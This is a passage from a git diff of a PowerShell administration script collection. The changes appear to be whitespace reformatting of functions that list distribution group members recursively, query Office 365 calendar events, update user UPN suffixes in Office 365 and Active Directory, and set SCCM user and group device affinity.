-Message "PROCESS - Something went wrong!" - IF ($ErrorCredential) - { - Write-Warning -Message "PROCESS - Error while gathering credential" - } - IF ($ErrorConnectMSOL) - { - Write-Warning -Message "PROCESS - Error while connecting to Azure AD" - } - IF ($ErrorConnectExchange) - { - Write-Warning -Message "PROCESS - Error while connecting to Exchange Online" - } - IF ($ErrorConnectLync) - { - Write-Warning -Message "PROCESS - Error while connecting to Lync Online" - } - - Write-Warning -Message $error[0].exception.message - } - } + Write-Warning -Message $error[0].exception.message + } + } } diff --git a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 index 1d927ff2..0479f14c 100644 --- a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 +++ b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 @@ -11,56 +11,56 @@ function Get-DistributionGroupMemberRecursive www.lazywinadmin.com @lazywinadm #> - [CmdletBinding()] - PARAM ($Group) - BEGIN - { - TRY - { - # Retrieve Group information - Write-Verbose -Message "[BEGIN] Retrieving members of $Group" - $GroupMembers = Get-DistributionGroupMember -Identity $Group -ErrorAction Stop -ErrorVariable ErrorBeginGetDistribMembers | - Select-object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $Group } }, RecipientType - - } - CATCH - { - Write-Warning -Message "[BEGIN] Something wrong happened" - if ($ErrorBeginGetDistribMembers) { Write-Warning -Message "[BEGIN] Issue while retrieving members of $Group" } - Write-Warning -Message $Error[0].Exception.Message - } - } - PROCESS - { - FOREACH ($Member in $GroupMembers) - { - TRY - { - Write-verbose "[PROCESS] Member: $($member.name)" - - SWITCH ($Member.RecipientType) - { - "MailUniversalDistributionGroup" { - # Member's type is Distribution Group, we need to find members of this object - Get-DistributionGroupMemberRecursive -Group $($Member.name) | - Select-Object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $($Member.name) } }, RecipientType - Write-Verbose -Message "[PROCESS] $($Member.name)" - } - "UserMailbox" { - # Member's type is User, let's just output the data - $Member | Select-object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $Group } } - } - } - } - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message - } - } - } - END - { - Write-Verbose -message "[END] Done" - } + [CmdletBinding()] + PARAM ($Group) + BEGIN + { + TRY + { + # Retrieve Group information + Write-Verbose -Message "[BEGIN] Retrieving members of $Group" + $GroupMembers = Get-DistributionGroupMember -Identity $Group -ErrorAction Stop -ErrorVariable ErrorBeginGetDistribMembers | + Select-object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $Group } }, RecipientType + + } + CATCH + { + Write-Warning -Message "[BEGIN] Something wrong happened" + if ($ErrorBeginGetDistribMembers) { Write-Warning -Message "[BEGIN] Issue while retrieving members of $Group" } + Write-Warning -Message $Error[0].Exception.Message + } + } + PROCESS + { + FOREACH ($Member in $GroupMembers) + { + TRY + { + Write-verbose "[PROCESS] Member: $($member.name)" + + SWITCH ($Member.RecipientType) + { + "MailUniversalDistributionGroup" { + # Member's type is Distribution Group, we need to find members of this object + Get-DistributionGroupMemberRecursive -Group $($Member.name) | + Select-Object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $($Member.name) } }, RecipientType + Write-Verbose -Message "[PROCESS] $($Member.name)" + } + "UserMailbox" { + # Member's type is User, let's just output the data + $Member | Select-object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $Group } } + } + } + } + CATCH + { + Write-Warning -Message "[PROCESS] Something wrong happened" + Write-Warning -Message $Error[0].Exception.Message + } + } + } + END + { + Write-Verbose -message "[END] Done" + } } diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index 386918f1..f93840d9 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -2,63 +2,63 @@ { <# .SYNOPSIS - Function to gather Calendar Events between two specific dates - + Function to gather Calendar Events between two specific dates + .DESCRIPTION - Function to gather Calendar Events between two specific dates - It is using the REST API available against Office365 - + Function to gather Calendar Events between two specific dates + It is using the REST API available against Office365 + .PARAMETER EmailAddress - Specifies the mailbox email address to query. - Default is the current user - Example: info@lazywinadmin.com - + Specifies the mailbox email address to query. + Default is the current user + Example: info@lazywinadmin.com + .PARAMETER StartDateTime - Specifies the Start Date Time - The UTC date and time when the event starts. (datetimeoffset) - Default is now. - + Specifies the Start Date Time + The UTC date and time when the event starts. (datetimeoffset) + Default is now. + .PARAMETER EndDateTime - Specifies the End Date Time - The UTC date and time when the event ends. (datetimeoffset) - Default is next week (7 days). + Specifies the End Date Time + The UTC date and time when the event ends. (datetimeoffset) + Default is next week (7 days). .PARAMETER Timezone Specify the timezone Complete list available here https://technet.microsoft.com/en-us/library/cc749073(v=ws.10).aspx .PARAMETER Credential - Specifies alternative credentials - By default it will use the current user. - + Specifies alternative credentials + By default it will use the current user. + .PARAMETER PageResult - Specifies the number of items to return. Max is 50. - + Specifies the number of items to return. Max is 50. + .EXAMPLE - PS C:\> Get-O365CalendarEvent - - Get the calendar Events of the next coming week for the current user. - + PS C:\> Get-O365CalendarEvent + + Get the calendar Events of the next coming week for the current user. + .EXAMPLE - PS C:\> Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential (Get-Credential) | Select-Object -Property Subject, StartTimeZone, Start, End, @{L="Attendees";E={$psitem.attendees.emailaddress | Select-Object -Property name -Unique|Sort}} - - Get the calendar Events Subject, StartTimeZone,Start, End, Attendees for the last 7 days - + PS C:\> Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential (Get-Credential) | Select-Object -Property Subject, StartTimeZone, Start, End, @{L="Attendees";E={$psitem.attendees.emailaddress | Select-Object -Property name -Unique|Sort}} + + Get the calendar Events Subject, StartTimeZone,Start, End, Attendees for the last 7 days + .EXAMPLE - Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential $cred -StartDateTime $((Get-Date).adddays(-50)) -PageResult 15 - + Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential $cred -StartDateTime $((Get-Date).adddays(-50)) -PageResult 15 + .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin - - # More about the Calendar operations - https://msdn.microsoft.com/office/office365/api/calendar-rest-operations - - # Filter/Sorting/Top/Order - https://msdn.microsoft.com/office/office365/APi/complex-types-for-mail-contacts-calendar#UseODataqueryparametersPageresults - + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin + + # More about the Calendar operations + https://msdn.microsoft.com/office/office365/api/calendar-rest-operations + + # Filter/Sorting/Top/Order + https://msdn.microsoft.com/office/office365/APi/complex-types-for-mail-contacts-calendar#UseODataqueryparametersPageresults + VERSION HISTORY 1.0 | 2015/06/00 | Francois-Xavier Cat (lazywinadmin.com) Initial version @@ -66,142 +66,142 @@ Added Headers Property 'timeZone' to fit the display gap that could happen between an actual event an the current timeZone. 1.2 | 2017/04/02 | Francois-Xavier Cat (lazywinadmin.com) Add all the timezones in the ValidateSet of $TimeZone - Add TRY/CATCH and Error handler - Add some Verbose messages + Add TRY/CATCH and Error handler + Add some Verbose messages #> - - [CmdletBinding()] - param - ( - [System.String]$EmailAddress, - - [System.datetime]$StartDateTime = (Get-Date), - - [System.datetime]$EndDateTime = ((Get-Date).adddays(7)), - + + [CmdletBinding()] + param + ( + [System.String]$EmailAddress, + + [System.datetime]$StartDateTime = (Get-Date), + + [System.datetime]$EndDateTime = ((Get-Date).adddays(7)), + [System.Management.Automation.Credential()] [pscredential] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [ValidateNotNullOrEmpty()] - [ValidateRange(1, 50)] - $PageResult = '10', - - [ValidateSet( - 'Afghanistan Standard Time', - 'Alaskan Standard Time', - 'Arab Standard Time', - 'Arabian Standard Time', - 'Arabic Standard Time', - 'Atlantic Standard Time', - 'AUS Central Standard Time', - 'AUS Eastern Standard Time', - 'Azerbaijan Standard Time', - 'Azores Standard Time', - 'Canada Central Standard Time', - 'Cape Verde Standard Time', - 'Caucasus Standard Time', - 'Cen. Australia Standard Time', - 'Central America Standard Time', - 'Central Asia Standard Time', - 'Central Brazilian Standard Time', - 'Central Europe Standard Time', - 'Central European Standard Time', - 'Central Pacific Standard Time', - 'Central Standard Time', - 'Central Standard Time (Mexico)', - 'China Standard Time', - 'Dateline Standard Time', - 'E. Africa Standard Time', - 'E. Australia Standard Time', - 'E. Europe Standard Time', - 'E. South America Standard Time', - 'Eastern Standard Time', - 'Egypt Standard Time', - 'Ekaterinburg Standard Time', - 'Fiji Standard Time', 'FLE Standard Time', - 'Georgian Standard Time', - 'GMT Standard Time', - 'Greenland Standard Time', - 'Greenwich Standard Time', - 'GTB Standard Time', - 'Hawaiian Standard Time', - 'India Standard Time', - 'Iran Standard Time', - 'Israel Standard Time', - 'Korea Standard Time', - 'Mid-Atlantic Standard Time', - 'Mountain Standard Time', - 'Mountain Standard Time (Mexico)', - 'Myanmar Standard Time', - 'N. Central Asia Standard Time', - 'Namibia Standard Time', - 'Nepal Standard Time', - 'New Zealand Standard Time', - 'Newfoundland Standard Time', - 'North Asia East Standard Time', - 'North Asia Standard Time', - 'Pacific SA Standard Time', - 'Pacific Standard Time', - 'Romance Standard Time', - 'Russian Standard Time', - 'SA Eastern Standard Time', - 'SA Pacific Standard Time', - 'SA Western Standard Time', - 'Samoa Standard Time', - 'SE Asia Standard Time', - 'Singapore Standard Time', - 'South Africa Standard Time', - 'Sri Lanka Standard Time', - 'Taipei Standard Time', - 'Tasmania Standard Time', - 'Tokyo Standard Time', - 'Tonga Standard Time', - 'US Eastern Standard Time', - 'US Mountain Standard Time', - 'Vladivostok Standard Time', - 'W. Australia Standard Time', - 'W. Central Africa Standard Time', - 'W. Europe Standard Time', - 'West Asia Standard Time', - 'West Pacific Standard Time', - 'Yakutsk Standard Time' - )] - [System.String]$Timezone - ) - - PROCESS - { - TRY - { - $FunctionName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand - - Write-Verbose -Message "[$FunctionName] Create splatting" - $Splatting = @{ - Credential = $Credential - Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" - } - - - if ($TimeZone) - { - Write-Verbose -Message "[$FunctionName] Add TimeZone" - $headers = New-Object -TypeName 'System.Collections.Generic.Dictionary[[String],[String]]' - $headers.Add('Prefer', "outlook.timezone=`"$TimeZone`"") - $Splatting.Add('Headers', $headers) - } - if (-not $PSBoundParameters['EmailAddress']) - { - Write-Verbose -Message "[$FunctionName] EmailAddress not specified, updating URI" - #Query the current User - $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" - } - Write-Verbose -Message "[$FunctionName] URI: $($Splatting.Uri)" - Invoke-RestMethod @Splatting -ErrorAction Stop | Select-Object -ExpandProperty Value - } - CATCH - { - $PSCmdlet.ThrowTerminatingError($_) - } - } + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [ValidateNotNullOrEmpty()] + [ValidateRange(1, 50)] + $PageResult = '10', + + [ValidateSet( + 'Afghanistan Standard Time', + 'Alaskan Standard Time', + 'Arab Standard Time', + 'Arabian Standard Time', + 'Arabic Standard Time', + 'Atlantic Standard Time', + 'AUS Central Standard Time', + 'AUS Eastern Standard Time', + 'Azerbaijan Standard Time', + 'Azores Standard Time', + 'Canada Central Standard Time', + 'Cape Verde Standard Time', + 'Caucasus Standard Time', + 'Cen. Australia Standard Time', + 'Central America Standard Time', + 'Central Asia Standard Time', + 'Central Brazilian Standard Time', + 'Central Europe Standard Time', + 'Central European Standard Time', + 'Central Pacific Standard Time', + 'Central Standard Time', + 'Central Standard Time (Mexico)', + 'China Standard Time', + 'Dateline Standard Time', + 'E. Africa Standard Time', + 'E. Australia Standard Time', + 'E. Europe Standard Time', + 'E. South America Standard Time', + 'Eastern Standard Time', + 'Egypt Standard Time', + 'Ekaterinburg Standard Time', + 'Fiji Standard Time', 'FLE Standard Time', + 'Georgian Standard Time', + 'GMT Standard Time', + 'Greenland Standard Time', + 'Greenwich Standard Time', + 'GTB Standard Time', + 'Hawaiian Standard Time', + 'India Standard Time', + 'Iran Standard Time', + 'Israel Standard Time', + 'Korea Standard Time', + 'Mid-Atlantic Standard Time', + 'Mountain Standard Time', + 'Mountain Standard Time (Mexico)', + 'Myanmar Standard Time', + 'N. Central Asia Standard Time', + 'Namibia Standard Time', + 'Nepal Standard Time', + 'New Zealand Standard Time', + 'Newfoundland Standard Time', + 'North Asia East Standard Time', + 'North Asia Standard Time', + 'Pacific SA Standard Time', + 'Pacific Standard Time', + 'Romance Standard Time', + 'Russian Standard Time', + 'SA Eastern Standard Time', + 'SA Pacific Standard Time', + 'SA Western Standard Time', + 'Samoa Standard Time', + 'SE Asia Standard Time', + 'Singapore Standard Time', + 'South Africa Standard Time', + 'Sri Lanka Standard Time', + 'Taipei Standard Time', + 'Tasmania Standard Time', + 'Tokyo Standard Time', + 'Tonga Standard Time', + 'US Eastern Standard Time', + 'US Mountain Standard Time', + 'Vladivostok Standard Time', + 'W. Australia Standard Time', + 'W. Central Africa Standard Time', + 'W. Europe Standard Time', + 'West Asia Standard Time', + 'West Pacific Standard Time', + 'Yakutsk Standard Time' + )] + [System.String]$Timezone + ) + + PROCESS + { + TRY + { + $FunctionName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand + + Write-Verbose -Message "[$FunctionName] Create splatting" + $Splatting = @{ + Credential = $Credential + Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" + } + + + if ($TimeZone) + { + Write-Verbose -Message "[$FunctionName] Add TimeZone" + $headers = New-Object -TypeName 'System.Collections.Generic.Dictionary[[String],[String]]' + $headers.Add('Prefer', "outlook.timezone=`"$TimeZone`"") + $Splatting.Add('Headers', $headers) + } + if (-not $PSBoundParameters['EmailAddress']) + { + Write-Verbose -Message "[$FunctionName] EmailAddress not specified, updating URI" + #Query the current User + $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" + } + Write-Verbose -Message "[$FunctionName] URI: $($Splatting.Uri)" + Invoke-RestMethod @Splatting -ErrorAction Stop | Select-Object -ExpandProperty Value + } + CATCH + { + $PSCmdlet.ThrowTerminatingError($_) + } + } } \ No newline at end of file diff --git a/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 index 515e91fd..a9a5f584 100644 --- a/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 +++ b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 @@ -1,160 +1,160 @@ function Update-O365UserUPNSuffix { <# - .SYNOPSIS - Function to correct the UPN of a user in Office365 (O365) and Active Directory (AD) - - .DESCRIPTION - Function to correct the UPN of a user in Office365 (O365) and Active Directory (AD). - Once modified you might want to force the sync between AD and O365 to make sure the object - are correctly synced. - - This function is used to correct user accounts mismatch or most likely used - in environment where User conversion from Contractor to Permanent requires - a change of UPN. Example: test.user@ContosoConsultant.com to test.user@Contoso.com - - For the Office 365 UPN, This script will be first changed to the - .onmicrosoft.com UPN, then change to the new UPN specified by the user. - This is needed to avoid some issues I encountered in the past. - - .PARAMETER UserAlias - Specifies the User Alias, typically what is in front of the '@' of the current - UPN. Example Bob.Marley - - .PARAMETER CurrentUPNSuffix - Specifies the current UPN Suffix. Default is 'ContosoConsultant.com' - - .PARAMETER NewUPNSuffix - Specifies the new UPN suffix to apply. Default is 'Contoso.com' - - .PARAMETER TenantUPNSuffix - Specifies the Tenant UPN Suffix. Default is 'contoso.onmicrosoft.com' - - .PARAMETER DomainController - Specifies the Domain Controller on which the Active Directory modification will - occur. - - .PARAMETER Credential - Specifies the credential to use for ActiveDirectory changes - - .EXAMPLE - Update-O365UserUPNSuffix ` - -Verbose ` - -Credential $cred ` - -UserAlias 'perm.test' ` - -CurrentUPNSuffix 'ContosoConsultant.com' ` - -NewUPNSuffix 'Contoso.com' ` - -TenantUPNSuffix 'Contoso.onmicrosoft.com' ` - -DomainController 'DC01.Contoso.com' - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin + .SYNOPSIS + Function to correct the UPN of a user in Office365 (O365) and Active Directory (AD) + + .DESCRIPTION + Function to correct the UPN of a user in Office365 (O365) and Active Directory (AD). + Once modified you might want to force the sync between AD and O365 to make sure the object + are correctly synced. + + This function is used to correct user accounts mismatch or most likely used + in environment where User conversion from Contractor to Permanent requires + a change of UPN. Example: test.user@ContosoConsultant.com to test.user@Contoso.com + + For the Office 365 UPN, This script will be first changed to the + .onmicrosoft.com UPN, then change to the new UPN specified by the user. + This is needed to avoid some issues I encountered in the past. + + .PARAMETER UserAlias + Specifies the User Alias, typically what is in front of the '@' of the current + UPN. Example Bob.Marley + + .PARAMETER CurrentUPNSuffix + Specifies the current UPN Suffix. Default is 'ContosoConsultant.com' + + .PARAMETER NewUPNSuffix + Specifies the new UPN suffix to apply. Default is 'Contoso.com' + + .PARAMETER TenantUPNSuffix + Specifies the Tenant UPN Suffix. Default is 'contoso.onmicrosoft.com' + + .PARAMETER DomainController + Specifies the Domain Controller on which the Active Directory modification will + occur. + + .PARAMETER Credential + Specifies the credential to use for ActiveDirectory changes + + .EXAMPLE + Update-O365UserUPNSuffix ` + -Verbose ` + -Credential $cred ` + -UserAlias 'perm.test' ` + -CurrentUPNSuffix 'ContosoConsultant.com' ` + -NewUPNSuffix 'Contoso.com' ` + -TenantUPNSuffix 'Contoso.onmicrosoft.com' ` + -DomainController 'DC01.Contoso.com' + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin #> - - [CmdletBinding()] - [OutputType([pscustomobject])] - param - ( - [Parameter(Mandatory = $true)] - [String]$UserAlias, - - [Parameter(Mandatory = $true)] - [String]$CurrentUPNSuffix, - - [Parameter(Mandatory = $true)] - [String]$NewUPNSuffix, - - [Parameter(Mandatory = $true)] - [String]$TenantUPNSuffix, - - [Parameter(Mandatory = $true)] - [String]$DomainController, - - [System.Management.Automation.Credential()] - [Alias('RunAs')] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - BEGIN - { - TRY - { - $CurrentUPN = $("$UserAlias@$CurrentUPNSuffix") - $TemporaryUPN = $("$UserAlias@$TenantUPNSuffix") - $NewUPN = $("$UserAlias@$NewUPNSuffix") - - # Exchange Online - Validate we find the user - Write-Verbose -Message "[BEGIN] Current Information" - if (Get-MsolDomain) - { - $MSOLUserBefore = Get-MsolUser -UserPrincipalName $CurrentUPN -ErrorAction Stop - } - else - { - Write-Error "[BEGIN] Does not seem connected to Office365" - break - } - - # Active Directory - Validate we find the user - $ADUserBefore = (Get-ADuser -LDAPFilter "(UserPrincipalName=$CurrentUPN)" -Server $DomainController -ErrorAction Stop) - - if (-not ($ADUserBefore)) - { Write-Error -Message "[BEGIN] Can't find this user in AD" } - - [pscustomobject]@{ - State = 'BEFORE' - UserAlias = $UserAlias - SID = $ADUserBefore.SID - UPN_in_AD = $ADUserBefore.UserPrincipalName - UPN_in_O365 = $MSOLUserBefore.UserPrincipalName - } - } - CATCH - { - $Error[0].Exception.Message - } - } - PROCESS - { - TRY - { - Write-Verbose -Message "[PROCESS] Processing changes" - $Splatting = @{ } - - if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } - - # Set the current MSOL user to the default OnMicrosoft.com UPN Suffix - Set-MsolUserPrincipalName -UserPrincipalName $CurrentUPN -NewUserPrincipalName $TemporaryUPN -ErrorAction Stop | Out-Null - # Set the user to the new UPN Suffix - Set-MsolUserPrincipalName -UserPrincipalName $TemporaryUPN -NewUserPrincipalName $NewUPN -ErrorAction Stop | Out-Null - - # Set UPN on the Active Directory User - Get-ADUser @splatting -LDAPFilter "(UserPrincipalName=$CurrentUPN)" -Server $DomainController | - Set-ADUser @splatting -UserPrincipalName $NewUPN -server $DomainController -ErrorAction Stop - - - # Post Change - Start-Sleep -Seconds 5 - $MSOLUserAfter = Get-MsolUser -UserPrincipalName $NewUPN - $ADUserAfter = Get-ADUser @splatting -LDAPFilter "(UserPrincipalName=$NewUPN)" -Server $DomainController - [pscustomobject]@{ - State = 'AFTER' - UserAlias = $UserAlias - SID = $ADUserAfter.SID - UPN_in_AD = $ADUserAfter.UserPrincipalName - UPN_in_O365 = $MSOLUserAfter.UserPrincipalName - } - } - CATCH - { - $Error[0].Exception.Message - } - } - END - { - Write-Warning -Message "[END] You might want to initiate the DirSync between AD and O365 or wait for next sync" - } + + [CmdletBinding()] + [OutputType([pscustomobject])] + param + ( + [Parameter(Mandatory = $true)] + [String]$UserAlias, + + [Parameter(Mandatory = $true)] + [String]$CurrentUPNSuffix, + + [Parameter(Mandatory = $true)] + [String]$NewUPNSuffix, + + [Parameter(Mandatory = $true)] + [String]$TenantUPNSuffix, + + [Parameter(Mandatory = $true)] + [String]$DomainController, + + [System.Management.Automation.Credential()] + [Alias('RunAs')] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + BEGIN + { + TRY + { + $CurrentUPN = $("$UserAlias@$CurrentUPNSuffix") + $TemporaryUPN = $("$UserAlias@$TenantUPNSuffix") + $NewUPN = $("$UserAlias@$NewUPNSuffix") + + # Exchange Online - Validate we find the user + Write-Verbose -Message "[BEGIN] Current Information" + if (Get-MsolDomain) + { + $MSOLUserBefore = Get-MsolUser -UserPrincipalName $CurrentUPN -ErrorAction Stop + } + else + { + Write-Error "[BEGIN] Does not seem connected to Office365" + break + } + + # Active Directory - Validate we find the user + $ADUserBefore = (Get-ADuser -LDAPFilter "(UserPrincipalName=$CurrentUPN)" -Server $DomainController -ErrorAction Stop) + + if (-not ($ADUserBefore)) + { Write-Error -Message "[BEGIN] Can't find this user in AD" } + + [pscustomobject]@{ + State = 'BEFORE' + UserAlias = $UserAlias + SID = $ADUserBefore.SID + UPN_in_AD = $ADUserBefore.UserPrincipalName + UPN_in_O365 = $MSOLUserBefore.UserPrincipalName + } + } + CATCH + { + $Error[0].Exception.Message + } + } + PROCESS + { + TRY + { + Write-Verbose -Message "[PROCESS] Processing changes" + $Splatting = @{ } + + if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } + + # Set the current MSOL user to the default OnMicrosoft.com UPN Suffix + Set-MsolUserPrincipalName -UserPrincipalName $CurrentUPN -NewUserPrincipalName $TemporaryUPN -ErrorAction Stop | Out-Null + # Set the user to the new UPN Suffix + Set-MsolUserPrincipalName -UserPrincipalName $TemporaryUPN -NewUserPrincipalName $NewUPN -ErrorAction Stop | Out-Null + + # Set UPN on the Active Directory User + Get-ADUser @splatting -LDAPFilter "(UserPrincipalName=$CurrentUPN)" -Server $DomainController | + Set-ADUser @splatting -UserPrincipalName $NewUPN -server $DomainController -ErrorAction Stop + + + # Post Change + Start-Sleep -Seconds 5 + $MSOLUserAfter = Get-MsolUser -UserPrincipalName $NewUPN + $ADUserAfter = Get-ADUser @splatting -LDAPFilter "(UserPrincipalName=$NewUPN)" -Server $DomainController + [pscustomobject]@{ + State = 'AFTER' + UserAlias = $UserAlias + SID = $ADUserAfter.SID + UPN_in_AD = $ADUserAfter.UserPrincipalName + UPN_in_O365 = $MSOLUserAfter.UserPrincipalName + } + } + CATCH + { + $Error[0].Exception.Message + } + } + END + { + Write-Warning -Message "[END] You might want to initiate the DirSync between AD and O365 or wait for next sync" + } } diff --git a/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 index 30a10480..04e4703b 100644 --- a/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 +++ b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 @@ -1,84 +1,84 @@ Function Add-SCCMGroupDeviceAffinity { <# - .SYNOPSIS - Function to add a group as primary user on a device - - .DESCRIPTION - Function to add a group as primary user on a device - - .PARAMETER SiteCode - Specifies the SCCM SiteCode - - .PARAMETER SiteServer - Specifies the SCCM Management Server - - .PARAMETER DeviceName - Specifies the DeviceName on which the Primary User will be added - - .PARAMETER DeviceID - Specifies the ResourceID of the Device - - .PARAMETER GroupName - Specifies the Active Directory Group to add as a Primary User on a device - - .PARAMETER Credential - Specifies alternative credentials to use - - .PARAMETER UserName - Specifies the UserName that will be added as a Primary User on the Device - - .EXAMPLE - Add-SCCMGroupDeviceAffinity -DeviceName WORKSTATION01 -GroupName "DOMAIN/GROUP01" - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm + .SYNOPSIS + Function to add a group as primary user on a device + + .DESCRIPTION + Function to add a group as primary user on a device + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER SiteServer + Specifies the SCCM Management Server + + .PARAMETER DeviceName + Specifies the DeviceName on which the Primary User will be added + + .PARAMETER DeviceID + Specifies the ResourceID of the Device + + .PARAMETER GroupName + Specifies the Active Directory Group to add as a Primary User on a device + + .PARAMETER Credential + Specifies alternative credentials to use + + .PARAMETER UserName + Specifies the UserName that will be added as a Primary User on the Device + + .EXAMPLE + Add-SCCMGroupDeviceAffinity -DeviceName WORKSTATION01 -GroupName "DOMAIN/GROUP01" + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm #> - [CmdletBinding()] - Param ( - [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Site code")] - $SiteCode, - - [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Name")] - $SiteServer, - - [Parameter(Mandatory = $True, HelpMessage = "Please Enter Device Name")] - $DeviceName, - - [Parameter()] - $DeviceID, - - [Parameter(Mandatory = $True, HelpMessage = "Please Enter Group Name")] - $GroupName, - - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - $Splatting = @{ - NameSpace = "root\sms\site_$SiteCode" - ComputerName = $SiteServer - } - - IF ($PSBoundParameters['Credential']) - { - $Splatting.Credential = $Credential - } - - - $AffinityType = 2 # Administrator defined - - IF ($PSBoundParameters['DeviceName']) - { - $ResourceID = (Get-WmiObject @Splatting -Class "SMS_CombinedDeviceResources" -Filter "Name='$DeviceName'" -ErrorAction STOP).resourceID - } - IF ($PSBoundParameters['DeviceID']) - { - $ResourceID = $DeviceID - } - - Invoke-WmiMethod @Splatting -Class "SMS_UserMachineRelationship" -Name "CreateRelationship" -ArgumentList @($ResourceID, $AffinityType, 1, $GroupName) + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Site code")] + $SiteCode, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Name")] + $SiteServer, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Device Name")] + $DeviceName, + + [Parameter()] + $DeviceID, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Group Name")] + $GroupName, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + NameSpace = "root\sms\site_$SiteCode" + ComputerName = $SiteServer + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.Credential = $Credential + } + + + $AffinityType = 2 # Administrator defined + + IF ($PSBoundParameters['DeviceName']) + { + $ResourceID = (Get-WmiObject @Splatting -Class "SMS_CombinedDeviceResources" -Filter "Name='$DeviceName'" -ErrorAction STOP).resourceID + } + IF ($PSBoundParameters['DeviceID']) + { + $ResourceID = $DeviceID + } + + Invoke-WmiMethod @Splatting -Class "SMS_UserMachineRelationship" -Name "CreateRelationship" -ArgumentList @($ResourceID, $AffinityType, 1, $GroupName) } \ No newline at end of file diff --git a/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 index 365dbf95..17e9bc19 100644 --- a/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 +++ b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 @@ -1,81 +1,81 @@ Function Add-SCCMUserDeviceAffinity { <# - .SYNOPSIS - Function to add a primary user on a device - - .DESCRIPTION - Function to add a primary user on a device - - .PARAMETER SiteCode - Specifies the SCCM SiteCode - - .PARAMETER SiteServer - Specifies the SCCM Management Server - - .PARAMETER DeviceName - Specifies the DeviceName on which the Primary User will be added - - .PARAMETER DeviceID - Specifies the ResourceID of the Device - - .PARAMETER UserName - Specifies the UserName that will be added as a Primary User on the Device - - .PARAMETER Credential - Specifies alternative credentials to use - - .EXAMPLE - Add-SCCMUserDeviceAffinity -DeviceName WORKSTATION01 -UserName "DOMAIN/UserAccount" - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm + .SYNOPSIS + Function to add a primary user on a device + + .DESCRIPTION + Function to add a primary user on a device + + .PARAMETER SiteCode + Specifies the 